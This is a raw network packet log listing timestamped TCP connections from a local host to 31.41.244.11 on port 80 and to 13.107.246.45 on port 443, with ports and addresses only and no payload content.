Nov 21, 2024 03:09:14.599131107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599131107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599138975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599147081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599155903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599165916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599172115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599185944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599203110 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599212885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599220037 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.599230051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599245071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599260092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599261999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599280119 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599284887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599297047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599302053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599323988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599324942 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599335909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599385023 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.599387884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599431992 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.599647999 CET	49822	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.599668026 CET	443	49822	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.599678040 CET	49822	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.599684000 CET	443	49822	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.600852966 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.600887060 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.600903988 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.600912094 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.602113962 CET	49821	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.602127075 CET	443	49821	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.602138042 CET	49821	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.602148056 CET	443	49821	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.602936029 CET	49820	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.602942944 CET	443	49820	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.602951050 CET	49820	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.602955103 CET	443	49820	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.603720903 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.603727102 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.603744984 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.603754044 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.605424881 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.605520010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.605556965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.605922937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.605973959 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.605997086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.606039047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.607001066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.607059956 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.607084036 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.607095957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.607100964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.607157946 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.608061075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.608088017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.608119965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.608130932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.608606100 CET	49827	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.608620882 CET	443	49827	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.608635902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.608675957 CET	49826	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.608690977 CET	49827	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.608717918 CET	443	49826	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.609105110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.609169006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.609172106 CET	49826	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.609203100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.609244108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.609330893 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.609358072 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.609643936 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.609798908 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.609811068 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.609846115 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.609875917 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.609915018 CET	49826	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.609932899 CET	443	49826	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.609977961 CET	49827	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.609983921 CET	443	49827	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.609993935 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.610021114 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.610025883 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.610084057 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.610100031 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.610198021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.610249043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.610295057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.610337973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.611263990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.611321926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.611466885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.611538887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.612317085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.612364054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.612421989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.612467051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.613382101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.613429070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.613468885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.613516092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.614463091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.614506960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.614578009 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.614641905 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.615516901 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.615581989 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.615624905 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.615669966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.616583109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.616630077 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.616700888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.616744995 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.617680073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.617758036 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.617794991 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.617846012 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.618769884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.618815899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.618859053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.618904114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.619805098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.619853020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.619899035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.619942904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.620865107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.620909929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.620951891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.621004105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.621920109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.621965885 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.622008085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.622054100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.622998953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.623044968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.623104095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.623151064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.624057055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.624102116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.624170065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.624214888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.625121117 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.625165939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.625219107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.625263929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.626193047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.626255035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.626292944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.626337051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.627304077 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.627351046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.627374887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.627420902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.628349066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.628392935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.628438950 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.628484964 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.629414082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.629457951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.629513979 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.629559994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.630469084 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.630517960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.630561113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.630620003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.631552935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.631597996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.631633043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.631678104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.632627010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.632672071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.632752895 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.632797956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.633658886 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.633702040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.633770943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.633816004 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.634737015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.634782076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.634845018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.634891033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.635795116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.635842085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.635904074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.635948896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.636882067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.636955976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.636991978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.637034893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.637985945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.638031006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.638087988 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.638134003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.639029026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.639075041 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.639137030 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.639180899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.640100956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.640145063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.640196085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.640242100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.641141891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.641185999 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.641246080 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.641290903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.642215014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.642261028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.642323017 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.642505884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.643275976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.643335104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.643378973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.643424034 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.644334078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.644377947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.644438028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.644483089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.719732046 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.719753981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.719789982 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.719808102 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.720566034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.720609903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.720743895 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.720802069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.721597910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.721647024 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.721797943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.721847057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.722349882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.722398996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.722650051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.722693920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.723392963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.723440886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.723638058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.723684072 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.724530935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.724584103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.724685907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.724730968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.725575924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.725627899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.725739956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.725779057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.726599932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.726617098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.726643085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.726663113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.726751089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.726799011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.727657080 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.727698088 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.728811026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.728878975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.729053974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.729106903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.730012894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.730062008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.730192900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.730237961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.731106043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.731123924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.731156111 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.731170893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.732111931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.732167006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.732287884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.732338905 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.733151913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.733167887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.733200073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.734177113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.734230995 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.734369993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.734414101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.735223055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.735268116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.807694912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.807755947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.807760954 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.807801008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.807936907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.807974100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.807992935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.808037043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.808938980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.808991909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.809057951 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.809118986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.809984922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.810035944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.810117960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.810214043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.811064005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.811115980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.811181068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.811229944 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.812144041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.812194109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.812249899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.812299013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.813194036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.813246012 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.813309908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.813359022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.814249992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.814305067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.814383984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.814435005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.815345049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.815392017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.815445900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.815498114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.816404104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.816451073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.816517115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.816564083 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.817486048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.817540884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.817605972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.817653894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.818531990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.818583965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.818650961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.818720102 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.819612980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.819679976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.819740057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.819791079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.820661068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.820780039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.820800066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.820854902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.821718931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.821782112 CET	49814	80	192.168.2.5	31.41.244.11
